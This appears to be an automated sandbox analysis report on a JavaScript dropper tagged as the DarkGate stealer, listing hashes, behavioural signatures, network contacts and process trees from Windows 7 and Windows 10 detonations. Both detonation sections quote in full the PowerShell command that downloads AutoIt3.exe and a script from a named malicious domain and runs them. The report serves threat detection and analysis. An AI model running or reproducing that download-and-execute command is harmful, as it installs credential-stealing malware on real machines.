Malware Analysis Report

2024-11-30 11:22

Sample ID 231107-rzsllabe95
Target 07112023_2238_app(060e45bf7b57d4).js
SHA256 aff263702a19eb6640636f8c2708147a5ce8a5577d86a57224ddbe0f51c7dafe
Tags
darkgate ads5 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aff263702a19eb6640636f8c2708147a5ce8a5577d86a57224ddbe0f51c7dafe

Threat Level: Known bad

The file 07112023_2238_app(060e45bf7b57d4).js was found to be: Known bad.

Malicious Activity Summary

darkgate ads5 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-07 14:38

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-07 14:38

Reported

2023-11-07 14:41

Platform

win10v2004-20231025-en

Max time kernel

99s

Max time network

152s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_2238_app(060e45bf7b57d4).js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_2238_app(060e45bf7b57d4).js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msijhoziucv' -OutFile 'jhoziucv.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'jhoziucv.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" jhoziucv.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 161.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 siliconerumble.com udp
US 185.174.101.224:443 siliconerumble.com tcp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 8.8.8.8:53 224.101.174.185.in-addr.arpa udp
US 185.174.101.224:443 siliconerumble.com tcp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 112.208.253.8.in-addr.arpa udp
US 8.8.8.8:53 138.201.86.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hovk3bdr.rmr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/988-5-0x0000027967440000-0x0000027967462000-memory.dmp

memory/988-10-0x00007FFB6FC40000-0x00007FFB70701000-memory.dmp

memory/988-13-0x000002794CC90000-0x000002794CCA0000-memory.dmp

memory/988-12-0x000002794CC90000-0x000002794CCA0000-memory.dmp

memory/988-11-0x000002794CC90000-0x000002794CCA0000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/988-27-0x00007FFB6FC40000-0x00007FFB70701000-memory.dmp

C:\tepp\jhoziucv.au3

MD5 4772a901165d49c57fa3ef6f13917d7d
SHA1 744ecf877c5339a4e95c8fe35cf13c84bce2e800
SHA256 44e466072f23e7936f31eb33b914a433c019ff8519828590a9b3371d3861d34f
SHA512 532c0a1b780f5bc5ee8054e6ee363ffc55e1c5c14c43827a3289498dc982a63c9058b2f14866e4a1b45973500ad280915e0496c6c0545818852fd5daa4e380e3

memory/4320-30-0x0000000004310000-0x0000000004510000-memory.dmp

memory/4320-31-0x0000000004D60000-0x0000000004EF5000-memory.dmp

memory/4320-32-0x0000000004D60000-0x0000000004EF5000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-07 14:38

Reported

2023-11-07 14:40

Platform

win7-20231023-en

Max time kernel

122s

Max time network

127s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_2238_app(060e45bf7b57d4).js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_2238_app(060e45bf7b57d4).js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msijhoziucv' -OutFile 'jhoziucv.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'jhoziucv.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/1688-4-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

memory/1688-6-0x000000001B200000-0x000000001B4E2000-memory.dmp

memory/1688-5-0x0000000002680000-0x0000000002700000-memory.dmp

memory/1688-8-0x0000000002390000-0x0000000002398000-memory.dmp

memory/1688-7-0x0000000002680000-0x0000000002700000-memory.dmp

memory/1688-9-0x0000000002680000-0x0000000002700000-memory.dmp

memory/1688-10-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp